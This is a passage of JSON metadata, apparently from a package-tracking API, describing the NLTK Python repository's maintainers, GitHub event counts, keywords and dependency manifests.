en"}},{"table":{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"}},{"table":{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}}],"active_maintainers":[{"table":{"login":"ekaf","count":26,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"}},{"table":{"login":"purificant","count":9,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}}]}},"events":{"total":{"DeleteEvent":4,"PullRequestEvent":123,"ForkEvent":100,"IssuesEvent":106,"WatchEvent":857,"IssueCommentEvent":386,"PushEvent":58,"GollumEvent":4,"PullRequestReviewCommentEvent":86,"PullRequestReviewEvent":109,"CreateEvent":6,"CommitCommentEvent":7},"last_year":{"DeleteEvent":4,"PullRequestEvent":83,"ForkEvent":45,"IssuesEvent":47,"WatchEvent":404,"IssueCommentEvent":222,"PushEvent":43,"PullRequestReviewEvent":97,"PullRequestReviewCommentEvent":81,"GollumEvent":4,"CreateEvent":6,"CommitCommentEvent":7}},"keywords":["machine-learning","natural-language-processing","nlp","nltk","python"],"dependencies":[{"ecosystem":"actions","filepath":".github/workflows/cffconvert.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:02.587Z","updated_at":"2023-01-13T16:22:02.587Z","repository_link":"https://github.com/nltk/nltk/blob/develop/.github/workflows/cffconvert.yml","dependencies":[{"id":6890146432,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6890146433,"package_name":"citation-file-format/cffconvert-github-action","ecosystem":"actions","requirements":"2.0.0","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ci.yaml","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:03.131Z","updated_at":"2023-01-13T16:22:03.131Z","repository_link":"https://github.com/nltk/nltk/blob/develop/.github/workflows/ci.yaml","dependencies":[{"id":6890146599,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6890146600,"package_name":"actions/setup-python","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6890146601,"package_name":"pre-commit/action","ecosystem":"actions","requirements":"v2.0.3","direct":true,"kind":"composite","optional":false},{"id":6890146602,"package_name":"actions/cache","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6890146603,"package_name":"actions/setup-java","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/labeler.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:03.778Z","updated_at":"2023-01-13T16:22:03.778Z","repository_link":"https://github.com/nltk/nltk/blob/develop/.github/workflows/labeler.yml","dependencies":[{"id":6890146886,"package_name":"actions/labeler","ecosystem":"actions","requirements":"v4","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"pypi","filepath":"requirements-ci.txt","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:04.327Z","updated_at":"2023-01-13T16:22:04.327Z","repository_link":"https://github.com/nltk/nltk/blob/develop/requirements-ci.txt","dependencies":[{"id":6890147058,"package_name":"click","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6890147059,"package_name":"gensim","ecosystem":"pypi","requirements":"\u003e=4.0.0","direct":true,"kind":"runtime","optional":false},{"id":6890147060,"package_name":"markdown-it-py","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6890147061,"package_name":"matplotlib","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6890147062,"package_name":"mdit-plain","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6890147063,"package_name":"mdit-py-plugins","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6890147064,"package_name":"pytest","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6890147065,"package_name":"pytest-mock","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6890147066,"package_name":"pytest-xdist","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6890147076,"package_name":"pyyaml","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6890147077,"package_name":"regex","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6890147078,"package_name":"scikit-learn","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6890147079,"package_name":"tqdm","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6890147080,"package_name":"twython","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"pypi","filepath":"requirements-test.txt","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:04.972Z","updated_at":"2023-01-13T16:22:04.972Z","repository_link":"https://github.com/nltk/nltk/blob/develop/requirements-test.txt","dependencies":[{"id":6890147296,"package_name":"pylint","ecosystem":"pypi","requirements":"*","direct":true,"kind":"test","optional":false},{"id":6890147297,"package_name":"pytest","ecosystem":"pypi","requirements":"\u003e=6.0.1","direct":true,"kind":"test","optional":false},{"id":6890147298,"package_name":"pytest-cov","ecosystem":"pypi","requirements":"\u003e=2.10.1","direct":true,"kind":"test","optional":false},{"id":6890147299,"package_name":"pytest-mock","ecosystem":"pypi","requirements":"*","direct":true,"kind":"test","optional":false},{"id":6890147300,"package_name":"tox","ecosystem":"pypi","requirements":"*","direct":true,"kind":"test","optional":false}]},{"ecosystem":"pypi","filepath":"setup.py","sha":null,"kind":"manifest","created_at":"2023-01-13T16:22:05.147Z","updated_at":"2023-01-13T16:22:05.147Z","repository_link":"https://github.com/nltk/nltk/blob/develop/setup.py","dependencies":[{"id":6890148808,"package_name":"click","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6890148810,"package_name":"joblib","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false},{"id":6890148812,"package_name":"regex","ecosystem":"pypi","requirements":"\u003e=2021.8.3","direct":true,"kind":"runtime","optional":false},{"id":6890148814,"package_name":"tqdm","ecosystem":"pypi","requirements":"*","direct":true,"kind":"runtime","optional":false}]}],"score":36.56975401535799,"created_at":"2025-10-10T09:29:02.189Z","updated_at":"2026-06-20T13:02:20.477Z","avatar_url":"https://github.com/nltk.png","language":"Python","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/368187","html_url":"https://summary.ecosyste.ms/projects/368187"}